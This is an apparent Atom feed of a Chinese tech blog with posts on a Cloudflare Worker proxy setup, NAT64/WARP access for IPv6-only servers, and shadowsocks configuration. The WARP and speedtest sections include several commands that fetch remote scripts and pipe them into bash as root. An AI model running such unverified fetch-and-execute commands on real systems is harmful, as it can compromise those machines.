&lt;h2 id=&quot;bian-liang-she-zhi&quot;&gt;变量设置&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;只需要设置 uuid 就行，如果不担心被其他人扫到，uuid 都不需要改，不过还是建议修改&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;变量作用&lt;&#x2F;th&gt;&lt;th&gt;变量名称&lt;&#x2F;th&gt;&lt;th&gt;变量值要求&lt;&#x2F;th&gt;&lt;th&gt;变量默认值&lt;&#x2F;th&gt;&lt;th&gt;变量要求&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1、必要的uuid&lt;&#x2F;td&gt;&lt;td&gt;uuid (小写字母)&lt;&#x2F;td&gt;&lt;td&gt;符合uuid规定格式&lt;&#x2F;td&gt;&lt;td&gt;万人骑uuid：86c50e3a-5b87-49dd-bd20-03c7f2735e40&lt;&#x2F;td&gt;&lt;td&gt;建议&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2、订阅节点：优选IP&lt;&#x2F;td&gt;&lt;td&gt;ip1到ip13，共13个&lt;&#x2F;td&gt;&lt;td&gt;CF官方IP、CF反代IP、CF优选域名&lt;&#x2F;td&gt;&lt;td&gt;CF官方不同地区的visa域名&lt;&#x2F;td&gt;&lt;td&gt;可选&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3、订阅节点：优选IP对应端口&lt;&#x2F;td&gt;&lt;td&gt;pt1到pt13，共13个&lt;&#x2F;td&gt;&lt;td&gt;CF13个标准端口、反代IP对应任意端口&lt;&#x2F;td&gt;&lt;td&gt;CF13个标准端口&lt;&#x2F;td&gt;&lt;td&gt;可选&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4、需要固定ip访问的网站&lt;&#x2F;td&gt;&lt;td&gt;proxydomains&lt;&#x2F;td&gt;&lt;td&gt;域名之间使用&quot;,&quot;分割&lt;&#x2F;td&gt;&lt;td&gt;&quot;twitch.tv&quot;,&quot;ttvnw.net&quot;&lt;&#x2F;td&gt;&lt;td&gt;可选&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h3&gt;
&lt;p&gt;下面的解释来自 gemini 2.5 pro，最后的地方它说错了，cloudflare 出口ip是同时拥有ipv4和ipv6的，但是优先使用ipv6，所以在访问推特等仅支持 ipv4 网站时就会失败。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;notranslate&quot; class=&quot;language-notranslate &quot;&gt;&lt;code class=&quot;language-notranslate&quot; data-lang=&quot;notranslate&quot;&gt;您好，这是一个非常好的问题，也是理解这段代码核心功能的关键。

您的理解是正确的：代码确实是将一个IPv4地址转换成了一个IPv6地址，然后通过这个IPv6地址去访问。

现在来回答您最核心的困惑：这个转换后的IPv6地址究竟在哪台服务器上？

答案是：这个IPv6地址并不在最终的目标服务器上，它指向的是一台公共的“NAT64网关”服务器。

您可以把这台“NAT64网关”想象成一个专业的“国际快递中转站”。

一个通俗的比喻
您（Cloudflare Worker）：您只会说“IPv6”这门语言，也只认识“IPv6”格式的地址。您无法直接向一个只懂“IPv4”语言、只认识“IPv4”地址的人寄送包裹。

目标服务器：它只懂“IPv4”语言，只认“IPv4”地址。

NAT64网关（快递中转站）：这是一个非常特殊的中转站。它既懂IPv6，也懂IPv4，并且同时拥有IPv6和IPv4的地址。它的工作就是帮助您和目标服务器进行沟通。

代码的工作流程
代码中的流程就像这样：

第一次尝试：您（Worker）尝试直接用域名（比如 example.com）连接目标服务器。如果这个域名有IPv6地址，连接就成功了。但如果它只有IPv4地址（比如 93.184.216.34），您的IPv6环境无法直接连接，所以第一次尝试失败了。

B计划（NAT64登场）：

代码发现直连失败，于是执行 retry() 函数。

它首先通过DNS查询，明确知道了目标服务器的IPv4地址是 93.184.216.34。

然后，convertToNAT64IPv6 函数开始“打包”地址。它拿到了一个公共NAT64中转站的地址前缀，也就是代码里的 2001:67c:2960:6464::。

它将目标IPv4地址 93.184.216.34 按照规则嵌入到这个前缀后面，合成了一个新的、特殊的IPv6地址。例如，转换后可能看起来像这样（十六进制表示）：2001:67c:2960:6464::5db8:d822。

第二次连接：

现在，您（Worker）不再尝试连接 93.184.216.34，而是向这个新合成的IPv6地址 [2001:67c:2960:6464::5db8:d822] 发起连接。

由于这是一个合法的IPv6地址，您的网络环境认识它，于是成功地将数据包发了出去。

中转站的工作：

数据包到达了地址为 2001:67c:2960:6464:: 的NAT64网关服务器。

这个网关服务器看到这个请求，马上就明白了：“哦，这是一个需要中转的请求。我需要把数据包后面的 5db8:d822 部分解码出来。”

网关将 5db8:d822 解码回原始的IPv4地址 93.184.216.34。

然后，这台网关服务器用自己的IPv4地址，向真正的目标服务器 93.184.216.34 发起连接，并将您的数据转发过去。

当目标服务器返回数据时，数据会先回到NAT64网关，网关再将其打包成IPv6格式，发回给您。

总结
所以，可以这样理解：

转换后的IPv6地址，是您和NAT64网关之间约定的一个“暗号”。这个“暗号”的前半部分是网关的地址，后半部分是您真正想访问的目标。

服务器是“NAT64网关”。代码中使用的 2001:67c:2960:6464:: 是一个由第三方（如Trex.fi）提供的公共NAT64服务地址。您等于是在利用这个公共服务来作为连接IPv4世界的桥梁。

这么做的根本原因：Cloudflare Workers的执行环境是纯IPv6的，它无法原生创建到公网IPv4地址的出站连接。NAT64是解决这个“跨网络”通信问题的标准技术方案。这段代码巧妙地通过手动合成地址的方式，利用了公共NAT64服务，实现了这个功能。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zhi-xie&quot;&gt;致谢&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yonggekkk&#x2F;Cloudflare-vless-trojan&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;yonggekkk&#x2F;Cloudflare-vless-trojan&lt;&#x2F;a&gt; - 原项目仓库&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yonggekkk&quot;&gt;@yonggekkk&lt;&#x2F;a&gt; - 原项目作者&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;mian-ze-sheng-ming&quot;&gt;免责声明&lt;&#x2F;h2&gt;
&lt;p&gt;本项目仅供学习交流使用，请遵守当地法律法规。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>使 IPv6 Only VPS 能访问 IPv4 网络</title>
        <published>2025-07-26T00:00:00+00:00</published>
        <updated>2025-07-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/使-ipv6-only-vps-能访问-ipv4-网络/"/>
        <id>https://vercel.juzhong.asia/obsidian/使-ipv6-only-vps-能访问-ipv4-网络/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/使-ipv6-only-vps-能访问-ipv4-网络/">&lt;h1 id=&quot;shi-ipv6-only-vps-neng-fang-wen-ipv4-wang-luo&quot;&gt;使 IPv6 Only VPS 能访问 IPv4 网络&lt;&#x2F;h1&gt;
&lt;p&gt;由于某些廉价的 VPS 只支持 IPv6，没有 IPv4 支持，而很多网站都没有支持 IPv6，这就带来了诸多不便（比如无法下载托管在 GitHub 上的脚本、无法 clone 代码）。目前有两种方法使 IPv6 Only VPS 能够访问 IPv6 网络，这两种方法各有优缺点，请你根据需求自行选择。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dns64-nat64&quot;&gt;DNS64 + NAT64&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;优点：支持国内 VPS&lt;&#x2F;strong&gt;
&lt;strong&gt;缺点：不能直接访问 IPv4 地址&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当你访问域名的时候，DNS 服务器收到查询请求，如果目标服务器支持 IPv6，就会直接返回 IPv6 地址；如果不支持，就会返回按照一定规则合成转化后的 IPv6 地址，这个 IPv6 地址又会指向 NAT64 服务器，NAT64 服务器根据它包含的信息获取 IPv4 数据并转发给你。这样你就可以直接访问仅支持 IPv4 的网站了。&lt;&#x2F;p&gt;
&lt;p&gt;我最常用的 DNS 服务是谷歌家的 Google Public DNS，不过它虽然支持 DNS64，但不提供配套的 NAT64 网关，需要自行搭建。这里我更推荐提供配套 NAT64 的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;1.1.1.1&#x2F;ipv6-networks&quot;&gt;Cloudflare DNS64&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;使用方法很简单，仅需修改 &lt;code&gt;&#x2F;etc&#x2F;resolv.conf&lt;&#x2F;code&gt; 即可。将其中所有内容删掉或注释掉，然后填入以下内容，并保存文件。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nameserver 2606:4700:4700::64
nameserver 2606:4700:4700::6400
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面是一些公益 DNS64 服务器的地址：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.trex.fi&#x2F;2011&#x2F;dns64.html&quot;&gt;TREX&lt;&#x2F;a&gt;（芬兰）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;2001:67c:2b0::4
2001:67c:2b0::6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;go6lab.si&#x2F;current-ipv6-tests&#x2F;nat64dns64-public-test&#x2F;&quot;&gt;Go6Lab&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;2001:67c:27e4:15::6411
2001:67c:27e4::64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cloudflare-warp&quot;&gt;Cloudflare WARP&lt;&#x2F;h2&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;优点：原生 IPv4，流媒体解锁，跳过 Google 验证码&lt;&#x2F;strong&gt;
&lt;strong&gt;缺点：不支持国内 VPS，有时响应较慢&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;WARP 是 Cloudflare 提供的一项基于 WireGuard 的网络流量安全及加速服务，能够让你通过连接到 Cloudflare 的边缘节点实现隐私保护及链路优化。&lt;&#x2F;p&gt;
&lt;p&gt;手动配置 WARP 步骤较为复杂且容易出错，对新手不友好，使用一键配置脚本极大地简化了配置步骤，提高了效率。由于 GitHub 不支持纯 IPv6 网络，可能会遇到脚本无法下载的问题，按照上面的教程配置 DNS64 即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fscarmen-de-warp-jiao-ben&quot;&gt;fscarmen 的 warp 脚本&lt;&#x2F;h3&gt;
&lt;p&gt;GitHub：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fscarmen&#x2F;warp&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;fscarmen&#x2F;warp&lt;&#x2F;a&gt;
此脚本支持多个 Linux 发行版，支持多 CPU 架构，能结合 Linux 版本和虚拟化方式，自动优选 WireGuard 方案。同时，此脚本拥有对普通用户友好的菜单，方便用户配置。&lt;&#x2F;p&gt;
&lt;p&gt;Speedtest 测速结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ipv6-only-vps&#x2F;warp-speedtest-result-2.jpg&quot; alt=&quot;f6KFwT6U.jpeg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;菜单提供中英文双语，方便国内外用户使用。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ipv6-only-vps&#x2F;warp-script-menu.jpg&quot; alt=&quot;HEs5aZCu&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ipv6-only-vps&#x2F;fscarmen-warp-menu.jpg&quot; alt=&quot;8CYtN6xH&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先，执行 &lt;code&gt;sudo -i&lt;&#x2F;code&gt; 切换到 root 用户。然后，根据你的需要执行安装命令：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-yong-fang-fa&quot;&gt;使用方法&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;wei-ipv6-only-vps-qi-yong-ipv4-zhi-chi&quot;&gt;为 IPv6 Only VPS 启用 IPv4 支持：&lt;&#x2F;h5&gt;
&lt;p&gt;执行以下命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;wget -N https:&amp;#x2F;&amp;#x2F;gitlab.com&amp;#x2F;fscarmen&amp;#x2F;warp&amp;#x2F;-&amp;#x2F;raw&amp;#x2F;main&amp;#x2F;menu.sh &amp;amp;&amp;amp; bash menu.sh 4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后根据实际情况自行选择。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;wei-vps-tian-jia-shuang-zhan-quan-ju-wang-luo&quot;&gt;为 VPS 添加双栈全局网络：&lt;&#x2F;h5&gt;
&lt;p&gt;执行以下命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;wget -N https:&amp;#x2F;&amp;#x2F;gitlab.com&amp;#x2F;fscarmen&amp;#x2F;warp&amp;#x2F;-&amp;#x2F;raw&amp;#x2F;main&amp;#x2F;menu.sh &amp;amp;&amp;amp; bash menu.sh 4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后根据实际情况自行选择。&lt;&#x2F;p&gt;
&lt;p&gt;可以看到 VPS 已经分配到 IPv4:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ipv6-only-vps&#x2F;warp-ipv4-dualstack-result.jpg&quot; alt=&quot;4jOLJj5n&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;再次运行执行 &lt;code&gt;warp [option]&lt;&#x2F;code&gt; 即可。
下面是一些常用的 &lt;code&gt;[option]&lt;&#x2F;code&gt; 变量：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;[option] 变量&lt;&#x2F;th&gt;&lt;th&gt;具体动作说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;h&lt;&#x2F;td&gt;&lt;td&gt;帮助&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;原无论任何状态 -&amp;gt; WARP IPv4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;原无论任何状态 -&amp;gt; WARP IPv6&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;d&lt;&#x2F;td&gt;&lt;td&gt;原无论任何状态 -&amp;gt; WARP 双栈&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;o&lt;&#x2F;td&gt;&lt;td&gt;WARP 开关，脚本主动判断当前状态，自动开或关&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;u&lt;&#x2F;td&gt;&lt;td&gt;卸载 WARP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;v&lt;&#x2F;td&gt;&lt;td&gt;同步脚本至最新版本&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;i&lt;&#x2F;td&gt;&lt;td&gt;更换 WARP IP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;s&lt;&#x2F;td&gt;&lt;td&gt;单栈与双栈快速切换 ，如&lt;code&gt;warp s 4&lt;&#x2F;code&gt;，&lt;code&gt;warp s 6&lt;&#x2F;code&gt;，&lt;code&gt;warp s d&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;其他或空值&lt;&#x2F;td&gt;&lt;td&gt;菜单界面&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如需开启或关闭 WARP 网络，执行 &lt;code&gt;warp o&lt;&#x2F;code&gt; 即可；如要查看帮助只需执行 &lt;code&gt;warp h&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;p3terx-da-lao-de-warp-sh-jiao-ben&quot;&gt;P3TERX 大佬的 warp.sh 脚本&lt;&#x2F;h3&gt;
&lt;p&gt;GitHub：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;P3TERX&#x2F;warp.sh&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;P3TERX&#x2F;warp.sh&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;脚本支持 x86 和 ARM 架构，支持多个 Linux 发行版，由于功能强大、使用简单广受网友欢迎。&lt;&#x2F;p&gt;
&lt;p&gt;Speedtest 测速结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ipv6-only-vps&#x2F;warp-speedtest-result.jpg&quot; alt=&quot;7qRFtW0J&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先，执行 &lt;code&gt;sudo -i&lt;&#x2F;code&gt; 切换到 root 用户。然后，根据你的需要执行安装命令：&lt;&#x2F;p&gt;
&lt;p&gt;一把梭安装脚本，真正的&lt;strong&gt;一键安装 WARP&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;imgcdn.boochi.cn&#x2F;i&#x2F;2023&#x2F;10&#x2F;11&#x2F;65265159f2af3.jpeg&quot;&gt;https:&#x2F;&#x2F;igcdn.boochi.cn&#x2F;i&#x2F;2023&#x2F;10&#x2F;11&#x2F;65265159f2af3.jpeg&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-yong-fang-fa-1&quot;&gt;使用方法&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;zhi-you-ipv6-xu-yao-tian-jia-ipv4-zhi-chi-shi-yong-yi-xia-ming-ling-yi-ba-suo&quot;&gt;只有 IPv6，需要添加 IPv4 支持，使用以下命令一把梭：&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt;#自动配置 WARP WireGuard IPv4 网络
bash &amp;lt;(curl -fsSL git.io&amp;#x2F;warp.sh) 4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;ru-guo-ni-yao-tian-jia-shuang-zhan-quan-ju-wang-luo-shi-yong-yi-xia-ming-ling-yi-ba-suo&quot;&gt;如果你要添加双栈全局网络，使用以下命令一把梭：&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt;#自动配置 WARP WireGuard 双栈全局网络
bash &amp;lt;(curl -fsSL git.io&amp;#x2F;warp.sh) d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;脚本提供了对用户友好的菜单，可以轻松管理 WARP 网络。执行以下命令查看功能菜单和网络状态：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -fsSL git.io&amp;#x2F;warp.sh) menu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ipv6-only-vps&#x2F;warp-sh-menu.jpg&quot; alt=&quot;8xZ7iya0&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ipv6-only-vps&#x2F;warp-sh-help-subcommands.jpg&quot; alt=&quot;jMg7w1Gw&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;执行以下命令可查看脚本的子命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -fsSL git.io&amp;#x2F;warp.sh) help
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;似乎没有提供卸载的选项（反正是我没有找到），只能手动卸载。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cloudflare-warp-wang-su-ce-shi&quot;&gt;Cloudflare WARP 网速测试&lt;&#x2F;h2&gt;
&lt;p&gt;测速支持 IPv4 和 IPv6，能获得 VPS 通过 WARP 访问外部网络 的极限网速。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.speedtest.net&#x2F;apps&#x2F;cli&quot;&gt;Ookla Speedtest CLI&lt;&#x2F;a&gt;（安装脚本由 P3TERX 大佬编写）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;curl -fsSL git.io&amp;#x2F;speedtest-cli.sh | sudo bash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;然后执行 &lt;code&gt;speedtest&lt;&#x2F;code&gt; 命令测速。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zhu-yi-shi-xiang&quot;&gt;注意事项&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;由于 WARP 类似虚拟专用网络，之前很多人用它来 fq，目前已被中国大陆屏蔽，只有国外 VPS 才能使用。&lt;&#x2F;li&gt;
&lt;li&gt;因为用的人很多，可能会遇到无法获取 WARP IP 的情况，请稍后再试。&lt;&#x2F;li&gt;
&lt;li&gt;使用 WARP 可能会导致下载文件响应时间很长，且速度有所下降。&lt;&#x2F;li&gt;
&lt;li&gt;通过 WARP 获得的 IP 并不是公网 IP，只能用于访问外部网络。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;p3terx.com&#x2F;archives&#x2F;use-cloudflare-warp-to-add-extra-ipv4-or-ipv6-network-support-to-vps-servers-for-free.html&quot;&gt;P3TERX 大佬的文章&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;本文链接：&lt;&#x2F;strong&gt;  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.iamsjy.com&#x2F;2022&#x2F;01&#x2F;30&#x2F;enable-ipv6-only-vps-to-access-ipv4-network&#x2F;&quot;&gt;https:&#x2F;&#x2F;blog.iamsjy.com&#x2F;2022&#x2F;01&#x2F;30&#x2F;enable-ipv6-only-vps-to-access-ipv4-network&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>shadowsocks</title>
        <published>2025-07-24T15:33:48+08:00</published>
        <updated>2025-11-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/learn/shadowsocks/"/>
        <id>https://vercel.juzhong.asia/2025/07/learn/shadowsocks/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/learn/shadowsocks/">&lt;p&gt;学习socks协议中发现有加密版本shadowsocks协议
这里记录一下协议学习的过程&lt;&#x2F;p&gt;
&lt;p&gt;项目参考: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;shadowsocks&#x2F;shadowsocks-rust&quot;&gt;shadowsocks&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;参考配置&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
    &amp;quot;server&amp;quot;: &amp;quot;127.0.0.1&amp;quot;,
    &amp;quot;server_port&amp;quot;: 8388,
    &amp;quot;password&amp;quot;: &amp;quot;rwQc8qPXVsRpGx3uW+Y3Lj4Y42yF9Bs0xg1pmx8&amp;#x2F;+bo=&amp;quot;,
    &amp;quot;method&amp;quot;: &amp;quot;aes-256-gcm&amp;quot;,
    &amp;#x2F;&amp;#x2F; ONLY FOR `sslocal`
    &amp;#x2F;&amp;#x2F; Delete these lines if you are running `ssserver` or `ssmanager`
    &amp;quot;local_address&amp;quot;: &amp;quot;127.0.0.1&amp;quot;,
    &amp;quot;local_port&amp;quot;: 1080
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
    &amp;quot;servers&amp;quot;: [
        {
            &amp;quot;server&amp;quot;: &amp;quot;127.0.0.1&amp;quot;,
            &amp;quot;server_port&amp;quot;: 8388,
            &amp;quot;password&amp;quot;: &amp;quot;rwQc8qPXVsRpGx3uW+Y3Lj4Y42yF9Bs0xg1pmx8&amp;#x2F;+bo=&amp;quot;,
            &amp;quot;method&amp;quot;: &amp;quot;aes-256-gcm&amp;quot;,
            &amp;quot;timeout&amp;quot;: 7200
        },
        {
            &amp;quot;server&amp;quot;: &amp;quot;127.0.0.1&amp;quot;,
            &amp;quot;server_port&amp;quot;: 8389,
            &amp;quot;password&amp;quot;: &amp;quot;&amp;#x2F;dliNXn5V4jg6vBW4MnC1I8Jljg9x7vSihmk6UZpRBM=&amp;quot;,
            &amp;quot;method&amp;quot;: &amp;quot;chacha20-ietf-poly1305&amp;quot;
        },
        {
            &amp;quot;disabled&amp;quot;: true,
            &amp;quot;server&amp;quot;: &amp;quot;eg.disable.me&amp;quot;,
            &amp;quot;server_port&amp;quot;: 8390,
            &amp;quot;password&amp;quot;: &amp;quot;mGvbWWay8ueP9IHnV5F1uWGN2BRToiVCAWJmWOTLU24=&amp;quot;,
            &amp;quot;method&amp;quot;: &amp;quot;chacha20-ietf-poly1305&amp;quot;
        }
    ],
    &amp;#x2F;&amp;#x2F; ONLY FOR `sslocal`
    &amp;#x2F;&amp;#x2F; Delete these lines if you are running `ssserver` or `ssmanager`
    &amp;quot;local_port&amp;quot;: 1080,
    &amp;quot;local_address&amp;quot;: &amp;quot;127.0.0.1&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;refresh_rate: 30 seconds
appenders:
  stdout:
    kind: console
    encoder:
      pattern: &amp;quot;{d(%Y-%m-%d %H:%M:%S)} {h({l})} [{M}] - {m}{n}&amp;quot;
      # pattern: &amp;quot;{h({d(%+)(utc)} [{f}:{L}] {l:&amp;lt;6} {M}:{m})}{n}&amp;quot;
root:
  level: info
  appenders:
    - stdout
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cargo build
RUST_LOG=debug target&amp;#x2F;debug&amp;#x2F;ssserver -c target&amp;#x2F;config.json
RUST_LOG=debug target&amp;#x2F;debug&amp;#x2F;sslocal -c target&amp;#x2F;config.json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux Magic SysRq</title>
        <published>2025-07-24T09:39:55+08:00</published>
        <updated>2025-07-24T09:39:55+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/Linux Magic SysRq/"/>
        <id>https://vercel.juzhong.asia/2025/07/Linux Magic SysRq/</id>
        
